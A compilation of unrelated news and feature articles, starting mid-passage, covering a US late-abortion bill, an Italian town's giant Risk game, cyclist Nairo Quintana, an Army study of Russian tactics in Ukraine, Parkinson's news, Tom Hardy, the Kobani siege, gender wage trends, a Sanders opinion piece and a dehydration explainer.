vote is expected to take place next week, possibly Wednesday, the anniversary of Gosnell’s conviction. […]As pro-life sources have informed LifeNews, other new provisions of the bill that strengthen in include a born-alive infant protection requirement that requires a second doctor be present and prepared to provide care to the child if he or she is born alive and that the child must receive the same level of care as would any other premature infant. The baby must then be transported and admitted to a hospital. The woman is also empowered with a right to sue if the law is not followed, and is provided with an informed consent form that notifies her of the age of her baby and the requirements under the law. Abortionists are explicitly required to follow state mandatory reporting laws and state parental involvement laws. Finally, abortionists are required to report any late abortions done under the exceptions to the Center for Disease Control and such data will be compiled into an annual public report to ensure accountability.  This bill doesn’t go all the way to banning all abortions – far from it. But pro-life groups are pleased, because they want to save some lives even if they can’t save all:  Top pro-life advocates are strongly supporting the final version of the bill up for a vote next week, according to the Weekly Standard. Two major pro-life groups have already signed off on the revised bill. “We will have even stronger support than we did in the last Congress,” said Rep. Chris Smith of New Jersey, a leading pro-life advocate in the House. “It will be good to have a truly unified pro-life conference.” National Right to Life Committee president Carol Tobias worked closely with Republican leadership staff members and met Thursday with McCarthy. “I felt very comfortable working with leadership staff,” said Tobias. “We were working as allies.” “We are thankful to our pro-life allies on the Hill, including House GOP leadership and the Congressional Pro-Life Women’s Caucus, who have tirelessly worked to bring this bill to a vote,” said Marjorie Dannenfelser, president of the Susan B. Anthony List. “This process has yielded a strong bill which we expect to pass next week with enthusiastic bipartisan support.” Sponsoring Congressman Trent Franks of Arizona says the bill has the potential to save thousands of babies from abortion.  That bill is, of course, opposed by Democrats.  UPDATE: Here’s a news story about a woman who killed a 20-week-old baby who was born alive and left to die.
-Image copyright YouTube/Rai 1 Image caption The town first turned its piazza into a huge version of the board game last summer  A small Italian town is transforming its main square into a giant Risk board for a two-day tournament, it's reported.  The piazza in Sant'Eufemia a Maiella, located deep within Italy's central Majella National Park, will be covered with a 650-sq-m (7,000-sq-ft) board as part of the event later this month, the local Il Centro website reports. It's billed as the biggest game of Risk in the world by the event's organisers. Artist Liberio Furlini spent 15 days painting the huge political map of the world used in the game. Super-sized playing pieces designed to fit with the gigantic board will be used by those taking part.  Risk is a strategy game where players try to occupy each territory on the board, thereby eliminating their competitors. The rules are being slightly simplified to allow more people to compete, but the tournament's winner will need to brush up on all the finer details, as they'll be offered a place at the national Risk championship.  "We have already seen 80 people sign up to take part from all over Italy," Mayor Francesco Crivelli tells Metro News 24. And while the mayor is partial to a game himself, he might not fancy his chances at the tournament. "Usually I like to play using the green pieces, but I lose, I always lose," he tells the channel.  Image copyright YouTube/Metro News 24 Image caption Risk, or Risiko in Italian, has become popular around the world since it was first released in the 1950s  Next story: 'Safe selfie' campaign launched in Russia  Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.
-This feature first appeared in this month's edition of ProCycling magazine. Related Articles Report Card: Movistar Team  Valverde and Quintana recon critical Tour de France stages  Quintana wins overall at Vuelta Ciclista al Pais Vasco  Parra calls for Colombian alliance to defeat Nibali  Quintana will not race again before Tour de France  Contador well supported on Saxo-Tinkoff Tour de France squad  During the final segment of Bradley Wiggins faultless build-up for the 2012 Tour de France - at the Criterium du Dauphiné - Team Sky only once came up against a rider who not only refused to turn over and be beaten, but who also succeeded.  On the race’s most mountainous stage Nairo Quintana (Movistar) charged away on the Col de Joux Plane, the single hardest climb of that year’s Dauphiné. Yet for all Team Sky laid down a relentless pace behind designed to wipe out any rival attacks - which, barring a late downhill move by Cadel Evans, largely managed to do - Quintana reached the finish ahead of both the Australian and the Sky-led main pack.  Up until that point, Sky had won almost everything they wanted to in the Dauphiné, which they completed with the overall victory and three riders in the top four. But if Quintana constituted a minor fly in the ointment for Sky last June given he was so far behind overall, in the Vuelta al País Vasco this April, his stage victory ahead of Sergio Henao and Richie Porte had a far more devastating effect on the British. Against almost all expectations, he won outright.  Quintana’s team-mates in Movistar feel that the 23-year-old Colombian has a huge margin of progression. Juan Jose Cobo, the only rider to beat Sky’s combined ‘A’ team of Wiggins+Froome in a three-week stage race, back in the 2011 Vuelta points out that “Last year Nairo was with Alejandro [Valverde] right up until the last climbs in his debut Grand Tour “- with one particular high point being when Quintana took sixth on the race’s toughest ascent, the Cuitu Negru, after working for his team leader. “That means he’s got it in him to win in major Tours.”  This year, Quintana is being groomed for the Tour de France, a race where one top name in Sky’s management admitted to ProCycling that he considered the Colombian so dangerous “we won’t be giving him any room for manouvre at all.”  They could be right to do that, given Quintana is not just a gifted climber. As Cobo points out, “in his first month with us [2012] he was already capable of winning a stage race, the Vuelta a Murcia. What surprised us wasn’t so much that he could take the mountainous stage” - as he did, taking the lead with it - “but that he was so unstressed about the time trial that followed. We knew that he was a climber all right, but not that he could do so well in the time trialling.” Sky, too, were to find this out at the Vuelta al País Vasco, where Porte and Henao looked set to win outright until Quintana claimed the final victory thanks to winning the last, technically very difficult, race against the clock.  Growing up in Colombia  If Quintana’s all round abilities are what make him so dangerous as a three week stage race contender, his first eye-catching result in Europe came in the Subida a Urkiola in 2009, a sadly defunct summit finish race that acted as a revenge match for the Clasica San Sebastian, held 24 hours earlier. On Urkiola, probably the steepest climb of the Basque Country, and riding for a tiny South American squad, Boyaca es Para Vivirla (Boyaca is a place to go and see), aged 19, Quintana placed seventh.  “It was the biggest race the team got to do that year,” Quintana recalls, “I was pretty young and I’d only just turned pro. that summer. To be honest, I never imagined it, but that was where I started taking my first steps. That result opened me a lot of doors.”  It is one of the best-known cycling cliches that riders who have come from a very poor background tend to be hungrier for success in cycling. In Quintana’s case, given that he began working almost as soon as he could walk, helping his father - who is disabled - work as a wholesale fruit merchant in rural Colombia shifting cartloads of vegetables, the cliche happens to be true. But he doesn’t see his upbringing as having been excessively hard.  “Yes, we did work from a very young age. One of my earliest memories is sitting in a bus surrounded by other farm workers and sacks of fruit and vegetables. But it wasn’t all bad, it’s like anything, once you start doing it, you get used to it. We had some good times”  On two wheels as well as four, there were other experiences there in his hometown of Combita, northeast of Bogota, that helped forge his endurance level as a pro. For example there was how he had to ride down one mountain and up another mountain pass, a mere 16 kilometres long, every time he went to school - an education which, like so many young Colombians, he combined with his ‘day-job’ of working to help the family, making for very long hours for a teenager.  “Combita itself is at around 1,700 metres above sea level, but my parents house was a lot further up the mountain, at 3,000 metres. So to go to school, in another town called Arcabuco, I had to go up that climb, which was around eight percent average gradient and 16 kilometres long, every day. And then it was 16 kilometres downhill again. I did that every day for three years, from 15 to 18. And when I was 17, too, that was what got me interested in riding a bike anyway.”  There was no tradition, he says, in his family, of racing or riding. “It had never occured to me.” But given the climb he had to tackle on his ‘school run’ was so hard, groups of normal amateur riders would use it, and one day he decided to tag along with some riders on a training run to see how well he could match against them.  “They started accelerating and accelerating and they couldn’t drop me,” he recalls with just a hint of pride in his quietly spoken voice. “So I got home, I told my dad, and he was very pleased. He bought me a racing bike and then we went on to village races.”  He went straight from junior to a Continental level with the Boyaca squad, who snapped him up after he took third in the Colombian version of the Tour de L’Avenir, in 2008. That meant Quintana has been used to punching above his weight from a very young age, given he never raced as an amateur, but was already familiar with U-23 events. “As a junior there weren’t many races at my level. I would get fourth or fifth in uphill time trials, once second but I was racing against guys three or four years older than me.”  His next move, into Colombia es Pasión in 2010, came when Boyaca lost sponsorship deal and stopped racing in Europe. “Colomba es Pasión already wanted to sign me in 2009, but Boyaca was my local team. When Boyaca dropped down a category to amateur, though, I could sign with Colombia es Pasión.”  The Tour de L'Avenir  In 2011, having won the Tour de L’Avenir of the European variety the previous year - another important landmark - Quintana then won the mountains prize in the Volta a Catalunya.  “That showed me I was doing ok, without making huge progress. “It also saved his career. Quintana crashed out badly of the Vuelta a Colombia, badly injuring his wrists during a pile-up in the race - “and it still hurts” - and was two months off without racing. But Movistar had had their eye on Quintana since the Tour de L’Avenir - and even more so after Catalunya, and “doing a really good time trial in Castille y Leon on a bike that wasn’t my measure and didn’t even belong to me.” So in 2012, despite having had half the 2011 season off, he signed with the Spanish. The Colombian who started out by riding up 16 kilometre climbs just so he could get an education was finally en route.  “I was in good shape from the first month with Movistar, winning from the Vuelta a Murcia onwards, where I beat some big names like Samuel Sanchez and Roberto Gesink,” he recalls. Quintana has, since then, been the first top Colombian to excel in time trials since Victor Hugo Peña and Santiago Botero, who won the World Championships Time Trial and a Tour de France time trial back in the early noughties. “I did well in Murcia, but I’d already represented Colombia at the World’s in timetrials at U-23 level,” he said, “maybe I’m not a top name, but if you look at the climbers, I’m always up there in the time trials as well.”  Murcia was one breakthrough, but the biggest was without doubt managing to beat Team Sky in the Joux Plane in the Criterium du Dauphine. They were, as Quintana recollects, “way superior to everybody else at the time and they were scarily fast in every stage before that. All we could do was sit on their wheels.”  “But I felt good on the Joux Plane day, I attacked to see what I could get, but the most I could do was 20 or 30 seconds. They were always close behind, Sky were so strong. But nobody else dared attack.”  Confidence for the Tour de France  “Winning there gave me a big dose of confidence, I felt much more sure of myself on the French mountains now,” he says, “straight away after the Dauphine I went onto the Route du Sud and won the most important mountain stage there, too, with big differences between the main favourites.” - of over a minute, in fact, between himself and his vastly more experienced closest pursuer, Herbert Dupont (Ag2R), and with nearly four minutes between himself and the equally veteran third placed Anthony Charteau (Europcar).  Ironically enough, one reason why he managed to stay away on the descent off the Joux Plane into Morzine - one of the most difficult in the Alps - was because he had been given the wrong bike. (This error also blows a hole in Sky’s theories of marginal gains being paramount to success, quite apart from losing the British team the stage, but that’s another story.)  “The team’s biomechanic messed up and he gave me a bike that was too large, he insisted that was the right one,” Quintana recalls. “But because the frame was a little bit longer, that bike gave me a little bit more confidence on the descents, as happened that day.”  “It was only this year, after a lot of nagging, that I got the team to give me a bike that was one smaller, the right, size.” He now descends “normally, it’s ok,”, without the same degree of confidence, he says “but I’ve got a lot better on the climbs with a new bike. I can ride it harder, and you can feel the bike responds quicker when I move ” He laughs at the idea that Movistar should give him a different bike for the descents, but perhaps it is worth considering.  Even with the wrong bike, he was a huge factor in Movistar team-mate Alejandro Valverde’s success in the Vuelta, where Valverde took second overall and could have won the race outright had he not miscalculated when Contador attacked at Fuente Dé.  “I came to the Vuelta directly from Colombia, where the temperature was nearly twenty degrees cooler - 10 degrees in the middle of the day or so. So when I got to Pamplona on the first day with 37 degrees, my body couldn’t really handle it.”  “But thank goodness, when the second week of mountain climbing started, my body had got used to the hotter weather and I was ready to go. It was a very tough Vuelta indeed.”  Goals at the Tour de France  Looking ahead to the Tour, his initial objective will be to “help Alejandro again, he’s at a very good level” - and with the mountainous route that the Vuelta has this year and given Valverde is now 33, it is almost now or never for the Spaniard.  “But if there are any opportunities for me, I’ll take them.”  Quintana, together with Sergio Henao and Rigoberto Uran (Sky) as well as Carlos Alberto Betancur (AG2R) is supposed to be at the head of a new generation of Colombian riders. But although too young to recall the Colombian greats in the Tour in the 1980s - although his gravelly voice, weatherbeaten skin and almost un-nervingly serious way of talking make him seem much older than in his twenties - Quintana nonetheless has clear memories of some of the more recent generation of Colombian riders and say that “in fact, we’ve always been around. This isn’t a ‘return’ to thirty years ago for us. We’ve always been there.”  He names Maurizio Ardila - “one of [Denis] Menchov’s greatest domestiques” - Santiago Botero and Maurizio Soler - “who did great things in the Tour de France mountain stages and was always really consistent” - as the top names from his country in recent years. “And then there was time triallist Victor Hugo Peña, aka El Tiburon [The Shark], who was Colombia’s first Tour de France leader in 2003, and who was the senior figure in Quintana’s two years in the Colombia es Pasión [Colombia is Passion] team, in 2010 and 2011.  He agrees with Betancur, though, that the arrival of the biological passport has enabled “not just one or two, but a large number” of Colombian riders to break through to the surface, and the benefits of living at altitude to become more noticeable again.  “I think that in my case, for example, I live at 1,800 metres above sea level, we were born and we grew up there, and I believe that makes a difference. But to be honest I haven’t thought about how different we are or not: here in Europe there are lots of good riders.”  Quintana has already proved he is more than a match for riders of the level of Richie Porte (Sky), even when he was in top form after winning Paris-Nice. How much higher can he go? Valverde, for one, says that Quintana has “an enormous future, even if he’s very young” and insists “that he can have a role as a team leader when I’m not there, as he showed in the Volta a Catalunya.”  For the Tour, Valverde’s idea is that Quintana will be making his debut “and learning about it little by little.” Could he outshine the Movistar leader? This July we will find out. But Quintana has already proved he has stepped up a huge level this spring. And with no pressure on him as a team leader, he could go even further than anyone has expected - particularly with the right bike.
-The 53-year-old McMaster was one of those who spent the past decade or so re-orienting the Army away from traditional war-fighting. But he is widely considered one of the service’s top strategic thinkers and his supporters insist he is the best person to figure out how to respond. “He learns and he thinks about what could be and what should be,” says Sullivan, the retired Army chief of staff.  McMaster’s pioneering tactics in confronting the Iraq insurgency after the 2003 invasion were rewarded with a key role under General David Petraeus in rewriting the Army’s field manual on counterinsurgency operations. It was not an easy undertaking. The U.S. military had not focused on counterinsurgency operations in the decades since the war in Vietnam. As a colonel and brigade commander in 2005 in Iraq’s western Al Anbar province, McMaster helped pioneer a strategy that came to be known as “clear, hold, build”—in which swarms of U.S. forces backed by airstrikes secured a city or town and built up the local security forces until they were deemed ready to maintain security while local government institutions could mature.  But getting the Army as an institution to focus on training and buying the necessary equipment to fight bands of terrorists and guerrillas hidden in population centers—instead of big tank formations like the Iraqi Republican Guard it clobbered in the 1991 Persian Gulf War—proved extremely challenging.  The steady erosion of public support for the conflict—and growing angst in Congress about the seeming lack of an end game—didn’t help.  What is taking place in Ukraine, however, is seen as a game-changer. McMaster and the study team he has put together believe their work could have huge impact on what the Army buys, how it trains and how its units are structured for years to come—maybe even as much as the Yom Kippur War did.  ***  The Army has a long history of trying to learn from wars it didn’t fight—and fold the battlefield lessons into its own arsenal.  A decade before the carnage of the American Civil War, George McClellan, who later became the commander of the Union Army, was an official observer of the European armies engaged in the Crimean War, which Russia lost to an alliance of France, Britain, the Ottoman Empire and Sardinia. That conflict is widely considered the first modern war, in which mass-produced rifles, explosive shells, mines and armored landing craft were first used. John Pershing, who commanded allied forces in World War I had also previously observed the Russo-Japanese War.  But the current thinking of McMaster and his top aides on what the Ukraine war might mean for the U.S. is eerily parallel to the experience of the early 1970s. That is when the U.S. military had been distracted by another guerrilla war, in Vietnam, while Russia’s military grew bolder and more sophisticated, posing a new threat to NATO, the Western military alliance.  It’s not the actual 1973 war that the Army believes parallels the modern-day conflict in Ukraine but rather the Army’s approach afterward in digesting its lessons—and folding them into its own war plans. The study of that earlier war “serves as a useful model for analyzing the conflict in Ukraine,” says Colonel Kelly Ivanoff, a field artillery officer and top aide to McMaster, who adds that the detailed undertaking to study the 1973 war was to “profoundly influence the development of the U.S. Army for the next 15 years.”  The Russia New Generation Warfare study will “examine the Ukraine theater for implications to Army future force development, with emphasis on how Russian forces and their proxies employed disruptive technologies,” he added.  The effort, which is just getting underway, is focused on 20 separate “warfighting challenges”—including maintaining communications in the face of cyberattacks; developing a greater degree of battlefield intelligence; redesigning Army combat formations and tactics; and identifying new air defenses, weapons and ways to employ helicopters.  Indeed, where the Yom Kippur War analogy reaches its limits, say close observers, is the way in which Russia has also employed other, nonmilitary power—first during the Russian military annexation of the Ukrainian peninsula of Crimea in 2014 and then in its ongoing proxy war in eastern Ukraine.  “They looked at what we were doing in the early ’90s and some of what we were saying we wanted to do and went one better,” said Sullivan, who served as Army chief of staff from 1991 to 1995 and now runs the Association of the U.S. Army, an advocacy group. “They started adding the special operating forces, which included diplomats, people who were subverting [the Ukrainian government] from the inside. It’s a hybrid.”  Now, he said, the Army is trying to apply “what we learned about the way they are using their little green men—people who are subverting the governments.”  That is not to say that the Russian Army and its proxies are 10 feet tall. The Ukrainian Army is credited with deterring an all-out Russian invasion. And the briefing that has been shared at the highest levels of the Army and with a number of foreign allies points out that the Russian military shrank dramatically in size between 1985 and 2015. And its biggest weakness is widely considered its conscript army, which has limited training and suffers from poor morale.  General Starry, who led the Yom Kippur War after-action review, concluded that the quality of the soldiers ultimately can carry the day—not numbers. “It is strikingly evident,” he wrote later, “that battles are yet won by the courage of Soldiers, the character of leaders, and the combat experience of well-trained units.”  But combined with Moscow’s efforts to upgrade its nuclear forces, what has been on display in eastern Ukraine and more recently in its military foray into Syria is expected, at least by the generals, to change the U.S. Army for a long time to come.
-Findings on Using Azilect (Rasagiline) as an Add-On Therapy A Phase 3 Japanese trial has found that adding Azilect (rasagiline) to levodopa is safe, and over the course of a year improved motor function in those with Parkinson’s disease with off periods. The Journal of Neural Transmission published the results …  Acorda Therapeutics Announces FDA Approval of INBRIJA™ (levodopa inhalation powder) (December 21, 2018) Acorda Therapeutics, Inc. has announced that the U.S. Food and Drug Administration approved INBRIJA™ for intermittent treatment of OFF episodes in people with Parkinson’s disease who are treated with carbidopa/levodopa. INBRIJA is expected to be commer …  Join The Parkinson Alliance at Rock Steady Boxing of South Brunswick’s Family Appreciation Day on Monday, December 10, 2018, in Kingston, NJ Rock Steady Boxing of South Brunswick will have a Family Appreciation Day on Monday, December 10, 2018, at 11:45 am to 2 pm, at the Retro Fitness of Kingston, in Kingston, NJ. The Parkinson Alliance will be there; please join us! Participate with a fam …  The Parkinson Alliance is a Charity Partner of the 29th Annual Bucks County Roadrunners Thanksgiving Day Five-Miler & One-Mile Fun Run on Thursday, November 22, 2018 The 29th Annual Customers Bank Bucks County Roadrunners (BCRR) Thanksgiving Day Five-Miler & One-Mile Fun Run in Langhorne, PA, will be held on Thursday, November 22, 2018. The Parkinson Alliance is proud to be a Charity Partner of this race, along …  Dance for Parkinson’s – Open House (November 11, 2018) Dance for Parkinson’s is for people with Parkinson’s Disease and their caregivers. Each class has live music and creates a warm sanctuary for movement exploration, and a social atmosphere to support artistic venture. The Parkinson A …  Axovant Announced Administration of AXO-Lenti-PD, A Novel Gene Therapy for Patient’s with Parkinson’s Disease, to First Patient in Clinical Study October 25, 2018 — Axovant announced that the first patient in a clinical study was administered dosing of AXO-Lenti-PD, which is an investigational gene therapy to treat Parkinson’s disease, that enables the expression of a set of three critical enzym …  “Milestone Moment” as LRRK2 inhibitor enters human testing October 25, 2018 — At the Michael J. Fox Foundation’s annual scientific conference, data was presented from a Phase I LRRK2 trial. The gene that makes the LRRK2 protein is the most common genetic cause of Parkinson’s. Described as a “Milestone Momen …  NYC Area: Free LSVT-LOUD Educational Seminar on December 1 October 25, 2018 — Those with PD, their families, friends, caregivers and healthcare professionals are invited to learn about LSVT-BIG, an evidence-based and effective program for those with PD seeking to improve movement, balance, walking and more. …  NYC Area: Free LSVT-LOUD Educational Seminar on November 30 October 25, 2018 — Those with PD, their families, friends, caregivers and healthcare professionals are invited to learn about LSVT-LOUD, an evidence-based and effective program for those with PD. Enjoy a FREE one-hour lecture, following which individ …
-Tom Hardy is a busy man: He’s currently headlining TV period drama Taboo (which he co-created with his father and his Locke director Steven Knight); he’s about to star in Christopher Nolan’s upcoming World War II epic Dunkirk; and he’s also contending with rumors about a sequel to 2015’s stellar Mad Max: Fury Road as well as a possible desire to take the reins of the James Bond franchise. It’s a lot for any actor to shoulder, and as Hardy recently revealed, it’s been made more difficult by the physical toll that some of his prior roles have taken on his body.  Related: Tom Hardy Costars in ‘London Road,’ a Serial Killer Movie That May Have Been the Fall’s Most Unusual Movie  Speaking to Marlow Stern for The Daily Beast, Hardy, 39, discussed the cost of significantly bulking up for his work as a notorious real-life criminal in Nicolas Winding Refn’s 2008 gem Bronson, and as the burly villain Bane in Nolan’s 2012 trilogy-capper The Dark Knight Rises:  “I think you pay the price with any drastic physical changes. It was alright when I was younger, to put myself under that kind of duress, but I think as you get into your 40s you have to be more mindful of the rapid training, packing on a lot of weight and getting physical, and then not having enough time to keep training because you’re busy filming, so your body is swimming in two different directions at the same time. And then after the film I’m tired, and you maybe have to change your shape again and go back to your normal size for the next film. To go from one extreme to another has a cost. I haven’t damaged my body, but I’m certainly a bit achier than I used to be! I kind of miss it.”  Related: Double Duty: Tom Hardy and Other Actors Who’ve Played Identical Twins  Back in 2011, Hardy said that he planned to put on about 30 pounds to play the Batman villain. Still, he makes it clear that, even with all the added pounds put on to play Bane, he’s still not in the same body-transformation league as his Dark Knight Rises co-star, who’s famous for having radically shed (The Machinist) and gained (American Hustle) weight for roles:  “Compared to Christian Bale, I’ve been by no means extreme in my body changes, but for what little I’ve done, yeah, I certainly have joints that click that probably shouldn’t click, you know what I mean? And carrying my children is a little bit harder than it used to be — but don’t tell them!”  Related: Tom Hiddleston and These 6 Actors Want to Be James Bond  View photos Tom Hardy in ‘Bronson’ (Photo: Everett) More  To read more of the actor’s thoughts on his physically taxing prior roles, his feelings about potentially stepping into 007’s shoes, and his plans to star as Al Capone in an upcoming drama from director Josh Trank (Fantastic Four), click over to the full Daily Beast article. Hardy’s Taboo is currently airing on FX, and Dunkirk storms theaters nationwide on July 21.  ‘Dunkirk’: Watch a trailer:
-The three-week-long Islamic State siege of the Syrian town of Kobani is rapidly intensifying. On Monday, fighters were said to have raised the black ISIS flag over at least one building in the eastern part of the city as vicious street-to-street battles unfolded. Reporting from southern Turkey, journalist Harald Doornbas noted that a second flag had gone up just southeast of the city.  The good news is the Syrian Kurds have (so far) kept ISIS from breaching the center of the city. The bad news is everything else. Kobani, also known as Ayn al-Arab, is just six miles from the Turkish border, over which more than 100,000 civilians fled when the Islamic State attack began in late September.  The advance of the Islamic State fighters into a strategically important Syrian city is a development that U.S.-led airstrikes were supposed to preclude. But as many are suggesting, the coalition efforts to stem the Islamic State onslaught have been ineffective. This is, at least in part, because ISIS has changed its tactics.  "In Syria and Iraq, they took down many of their trademark black flags, and camouflaged armed pickup trucks," The Wall Street Journal wrote of ISIS. "They also took cover among civilians." The group is also said to have decentralized some of its command structure, adjusted its movements to nighttime, and eschewed the frequent use of cellphone and radio communications.
-WASHINGTON -- Men continue to take a bigger hit in their paychecks than women because of lingering effects of the Great Recession, according to a study by the Conference Board.  Average wages for women remain lower than those for their male counterparts, by nearly 20%. But men's wages have been much slower to rebound from the effects of the recession, which had its most severe impact on male-dominated industries, such as construction, the study found.  Although the recession technically ended in 2009, men’s wage growth had rebounded to half the average rate of the previous decade by last year. Meanwhile, the growth in wages for women had almost fully recovered, the study said.  The findings came as the Obama administration has sparred with the campaign of presumptive Republican presidential nominee Mitt Romney in recent weeks about which gender has suffered more in the down economy.
-The Bernie Sanders campaign is in crisis! Or so the narrative goes. A small number of Sanders supporters lodged death threats against Nevada Democratic Chairwoman Roberta Lange. That’s abhorrent and, as recent days’ wall-to-wall reporting makes clear, not good for the Sanders campaign. Sanders condemnation of the threats, however, hasn’t stymied the deluge of stories and commentaries suggesting that he is set to run the party into electoral oblivion, that his supporters are a dangerous mob, and that, as the Nevada Democratic Party put it, the campaign is not only “inciting” violence but has a “penchant for…actual violence.”  Conflating an entire protest movement with the actions of a few is a longstanding delegitimization strategy, and protesters always look more agitated than whoever they are protesting: the establishment, after all, exercises its power from a position of power. In the current primary, the establishment has deployed this strategy ever since the first bad person who happens to support Sanders found out about Twitter.  Advertisement:  After the Nevada incident, Jezebel’s Anna Merlan had a smart journalistic idea: pick up the phone and call the threat makers. She connected with three people. One was apologetic and felt like a jerk. Another couple, who meanly predicted that Lange would lose her job but were not accused of making threats, was not apologetic. The third person, who sent a particularly creepy text about knowing where Lange lived and who her family was, seemed like he had significant psychological problems.  The actual fracas at the Nevada convention, a fight over arcane rules and the seating of delegates that involved both sides attempting to out-game the other, highlights the frustration and anger that pervade the Sanders camp. The response to it, mournful eulogies to Sanders’ squandered promise written by people who never liked him anyway, evinces its counterpoint: the Democratic Party’s panic rising alongside its concern over Donald Trump’s swing-state poll numbers.  Generally, the tone of media coverage conveys a sense that Sanders is in some sort of meltdown. The dire words, however, are actually just bouncing out to you from an echo chamber: In reality, Sanders has been closing the gap in California and is still nipping at Clinton’s heels in national polls. He will almost certainly not win. But for an insurgent candidate who has won far more than anyone ever imagined, charging through its final month, he’s doing just fine.  A Washington Post headline blaring that “liberal allies” were “turning on Bernie Sanders after Nevada donnybrook” was a case in point for misleading reporting. James Hohmann wrote that the incident “has been a wake-up call for many liberal commentators, who have viewed Bernie positively because of his success at pulling Hillary to the left. But a new mindset has begun to take hold: If Trump becomes president, Sanders will deserve a big share of the blame.”  The “new idea” that Sanders will be blamed for a Trump victory is not, in fact, new. Rather, it’s so predictable that I already predicted it: the Democratic establishment will always try to blame the left for its problems (see McGovern, Nader and, voila, Sanders).  And those liberal allies who have suddenly gone sour? Cited figures include Dana Houle, a Clinton supporter who had criticized Sanders’ visit to the Vatican because of the role played by people who lack “communion with and allegiance to the Catholic Church” (how progressive!). And Mother Jones’ Kevin Drum who, despite writing for a magazine named for a left-wing labor radical, is in reality a longstanding Sanders critic who has charged that his social democratic spending plans are “not even remotely in the realm of reality.”  Advertisement:  Sanders opponents in the punditocracy greatly outnumber sympathizers, and the Nevada contretemps provides the latest opportunity for them to smear supporters as unhinged bros and to browbeat Sanders into becoming a loyal Clinton lieutenant—all before Californians have cast their ballots.  Unsettling poll numbers show a strong Trump challenge in Florida, Pennsylvania and Ohio, and Democrats worry he may successfully pursue a Rust Belt strategy aimed at downwardly mobile white men. And so allies of Clinton, who just barely trails Trump in this unpopularity contest, are fixing their sites on Sanders.  More specifically, the Nevada fracas has been seized upon as a dire prelude to convention disorder in Philadelphia: Sanders, the charge goes, is dishonestly selling voters on an impossible victory and delegitimizing the process.  There will be protests at the Democratic National Convention regardless of what Sanders says. Leftist activists have long staged protests outside both major parties’ political convention. Sixteen years ago, an LAPD officer’s club cracked my rib at one of them. Whether there are major disruptions inside the convention, however, appears to be largely within DNC Chair Debbie Wasserman Schultz’s control. Making two outspoken Clinton stalwarts, Connecticut Gov. Dannel Malloy and former Massachusetts Rep. Barney Frank, chairs of the platform and rules committees, is not a signal of inclusion. It’s courting disaster.  Advertisement:  Conspiracy theories about the election being stolen have credence among Sanders supporters. Sanders fans must accept that democratic socialism is on the rise but this year wasn’t its moment: Clinton simply won more people over this time. Pessimism of the intellect, optimism of the will. But it’s also true, generally speaking, that conspiracy theories flourish where power is perceived to be illegitimate and nontransparent. The Sanders camp won’t be disabused of the notion that the process has been stacked against him. It has been. Clinton’s aura of inevitability sometimes worked to Sanders’ advantage, allowing early victories to become major news items in part because they were so surprising. Yet overall the superdelegate-abetted Clinton coronation worked strongly against him: Democratic voters are extremely concerned about electability and most believed that Clinton, despite polling to the contrary, was the person best poised to beat Republicans.  The coming months will pose difficult challenges without easy answers. Sanders must help lead his movement through a heartbreaking loss, keeping it alive and independent while fighting efforts to frame him as a sore loser. This week’s onslaught, the ugliest of the primary, are just a taste of what’s to come if he maintains any sort of critical distance from Clinton during the general election. That said, there’s no indication or evidence that the media’s concern for Sanders’ future is in any way shared by his followers.  Sanders has a lot of responsibility. But not in the way the establishment thinks. Sanders can’t make anyone vote for Clinton. She is the one who has to win them over. If pivoting toward the general election means the DNC insulting Sanders supporters and the Clinton campaign constantly telegraphing to reporters that they plan to take Sanders fans for granted, then she will have a harder time doing so.
-After a video emerged appearing to show Hillary Clinton struggling to stand upright before stumbling into a car at a 9/11 memorial ceremony in New York City Sunday, the presidential candidate was forced to go public with the pneumonia diagnosis she received two days before.  But the near-fainting spell was in fact due to dehydration, exacerbated by her condition. Her husband Bill Clinton said Monday that it wasn’t the first time. “Rarely, but on more than one occasion, over the last many, many years, the same sort of thing’s happened to her where she just got severely dehydrated,” he said.  Politico reports, citing unnamed sources, that Clinton is chronically dehydrated, and that her reluctance to regularly drink water has become a “source of tension” between the candidate and her staff. “She won’t drink water, and you try telling Hillary Clinton she has to drink water,” a source in close contact with the Democratic candidate said. Politico described a hectic rehydration mission which included lots of bottles of water as well as Gatorade.  In 2013, CBS reported that some 75% of Americans may be functioning in a chronic state of dehydration, many mistaking the symptoms for other illnesses. Whether she’s among them or not, the Democratic nominee might be better off taking a big gulp next time a staff member approaches with a glass of water. Here’s everything you need to know about dehydration:  The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now  Why do we get dehydrated?  Dehydration occurs when your body loses more fluid than you take in, upsetting its balance of salts and sugar, which affects the way it functions. Water makes up between 60-70% of average adult— and it’s important to keep levels stable. Water is essential for life and our body uses it in many different ways, from lubricating joints and regulating our temperature to enabling waste removal via sweating, bowel movements and urination.  If not treated immediately, chronic – or ongoing – dehydration can lead to serious medical complications; it can affect your kidney function, increase the risk of kidney stones and lead to muscle damage and constipation. This level of dehydration requires hospital treatment where a sufferer will be attached to a drip to restore fluids. Of patients treated for kidney stones, 50% are likely to have a recurrence within ten years.  How do we get dehydrated?  Usually, by not drinking enough fluid – usually water – to replace what you lose. Factors that can contribute to dehydration include the climate, physical exercise (particularly in the heat) and diet. Chronic diarrhoea, vomiting, frequent urination and profuse sweating, for example from a fever, can also lead you to become dehydrated.  How can you tell you’re dehydrated?  Early warning signs include tiredness, a dry mouth, having dark coloured, strong-smelling urine, feeling thirsty and lightheaded and needing to urinate less than usual. If you begin to suffer from extreme thirst, lethargy, sunken eyes, no tears when you cry, little or no urination, a rapid heartbeat and breathing, and dizziness when you stand that lasts for more than a few seconds, you should get medical treatment straight away as these are signs of chronic dehydration.  As hydration regulates the body’s process of temperature control, being too hot or too cold can also be a sign of dehydration.  Who is most at risk?  Everyone is prone to dehydration, but some are at higher risk than others. Infants and children are particularly prone to becoming dehydrated as their bodies are made up of 65-75% water.  Elderly people are also at risk, as you lose your sense of thirst dramatically as you age, meaning older people often forget to drink enough water. Clinton, who is 68, could fall into this category. According to recent research by the BBC, one in five older people living in care homes does not drink enough fluid and those with dementia were six times more likely to be dehydrated.  People living with medical conditions, including diabetes, cystic fibrosis and kidney disease, as well as alcoholics, are also more prone to dehydration.  What’s the best way to avoid it?  Drink plenty of water! The Institute of Medicine recommends that women from the age of 19 to 70 drink 2.7 liters – or 11 cups – of beverages per day, and men of the same age are recommended to have 3.7 liters. This includes standard tap water as well as tea, coffee and juice – more or less all drinks which contain water. The U.S.’ Centers for Disease Control advises citizens to choose water instead of sugar-sweetened beverages, recommending teachers to educate students about the danger of consuming too much caffeine, including energy drinks.  Write to Kate Samuelson at kate.samuelson@time.com.
